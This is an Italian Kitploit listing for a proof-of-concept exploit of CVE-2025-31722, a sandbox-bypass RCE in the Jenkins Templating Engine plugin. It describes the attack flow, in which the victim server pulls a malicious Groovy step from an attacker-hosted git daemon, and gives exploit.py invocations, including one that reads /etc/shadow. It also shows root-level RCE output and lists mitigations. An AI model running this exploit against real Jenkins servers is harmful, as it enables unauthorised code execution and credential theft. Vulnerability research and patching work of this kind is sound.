Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-31722 — CVE-2025-31722 — Jenkins Templating Engine RCE | Kitploit
Strumenti/GitHubGitHub/h3raklez/cve-2025-31722
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubh3raklez/cve-2025-31722

CVE-2025-31722

CVE-2025-31722 — Jenkins Templating Engine RCE

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-31722 — RCE su Jenkins Templating Engine

Solo a scopo didattico e di ricerca sulla sicurezza autorizzata.

Descrizione

Vulnerabilità di bypass della sandbox nel plugin Jenkins Templating Engine (JTE) <= 2.5.3 che consente a un utente con privilegi bassi di eseguire codice arbitrario sul server Jenkins.

Il difetto si verifica perché JTE carica le librerie da un repository git esterno definito in una configurazione GovernanceTier a livello di cartella ed esegue gli step di quelle librerie al di fuori della sandbox Groovy, indipendentemente dal livello di privilegio dell'utente che ha creato il job.

CVSS: 8.8 (Alto)
Tipo: Bypass della sandbox → RCE
Componente interessato: plugin pipeline-templating-engine ≤ 2.5.3
Versione corretta: 2.5.4+


Flusso dell'Attacco

root@kitploit:~
Attacker (Kali)                          Jenkins Server
───────────────                          ──────────────
1. Creates git repo with evil.groovy
2. Starts git daemon on :9418
3. Creates folder in Jenkins        →    Folder with GovernanceTier
   pointing to git://KALI:9418/…         pointing to attacker's repo
4. Creates job with AdHoc template  →    Job calls evil()
5. Triggers build                   →    JTE clones repo from Kali
                                         Executes evil() outside sandbox
                                    ←    RCE as Jenkins user

Requisiti

Server Jenkins (target)

  • Jenkins con plugin Templating Engine 2.5.3 installato
  • Plugin: cloudbees-folder, git, workflow-aggregator
  • CSRF disabilitato
  • Utente attacker con permessi: Item/READ, Item/CREATE, Item/CONFIGURE, Item/BUILD
  • Node Built-In online con almeno 1 executor
  • Connettività di rete in uscita dal server all'IP dell'attaccante sulla porta 9418

Macchina dell'attaccante (Kali)

  • Python 3.8+
  • git installato
  • Porta 9418 raggiungibile dal server Jenkins
  • Libreria Python: requests
root@kitploit:~
pip install requests

Setup del Laboratorio

Il setup installato su un server Debian/Ubuntu ha installato Jenkins, configurato utenti, permessi e i plugin richiesti. Non crea alcun contenuto malevolo — è gestito esclusivamente dal PoC.


Utilizzo

Sfruttamento di base

root@kitploit:~
python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP>

Comando personalizzato

root@kitploit:~
python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP> \
  --cmd "cat /etc/shadow"

Pulizia

root@kitploit:~
python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP> \
  --cleanup

Parametri


Come Funziona il PoC

  1. setup_repo() — Crea ~/jte-exploit/evil-lib/steps/evil.groovy su Kali con il comando da eseguire
  2. start_git_daemon() — Avvia git daemon su Kali sulla porta 9418
  3. create_folder() — Crea una cartella in Jenkins con una GovernanceTier che punta a git://KALI:9418/jte-exploit
  4. create_job() — Crea un job con AdHocTemplateFlowDefinition che dichiara evil-lib e chiama evil()
  5. trigger_and_wait() — Avvia la build e attende il risultato
  6. print_output() — Mostra l'output della console con il risultato della RCE

Il git daemon rimane attivo per l'intero ciclo di build e viene terminato automaticamente al completamento della build.


Output Atteso

root@kitploit:~
=================================================================
  CVE-2025-31722 — Jenkins Templating Engine RCE
  Target  : http://10.211.55.10:8080
  Git host: 10.211.55.7
  Command : id && hostname && cat /etc/passwd
=================================================================

[+] Authenticated as: attacker (id=attacker)
[+] Repo created: /root/jte-exploit
[+] Malicious step: evil-lib/steps/evil.groovy
[+] Git daemon running at git://10.211.55.7:9418/jte-exploit
[+] Folder created
[+] Job created
[+] Build queued

=================================================================
  CVE-2025-31722 — RCE OUTPUT
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================

Mitigazione

  • Aggiorna il plugin Templating Engine alla versione 2.5.4 o successiva
  • Limita i permessi Item/CREATE e Item/CONFIGURE ai soli utenti fidati
  • Abilita la protezione CSRF in Jenkins
  • Controlla le cartelle con configurazioni GovernanceTier che puntano a repository esterni

Riferimenti

  • Avviso di sicurezza Jenkins
  • Plugin JTE su GitHub

Nota legale: Questo PoC è destinato esclusivamente a scopi didattici e a test in ambienti controllati. Utilizzarlo contro sistemi senza esplicita autorizzazione è illegale.

Scarica lo strumento
ParametroDescrizioneObbligatorio
--urlURL base di JenkinsSì
--userUtente con permessi Item/CREATE+CONFIGURE+BUILDSì
--passPassword dell'utenteSì
--git-hostIP del Kali raggiungibile da JenkinsSì
--cmdComando da eseguire sul server (predefinito: id && hostname && cat /etc/passwd)No
--cleanupElimina la cartella, il job e il repo creati dall'exploitNo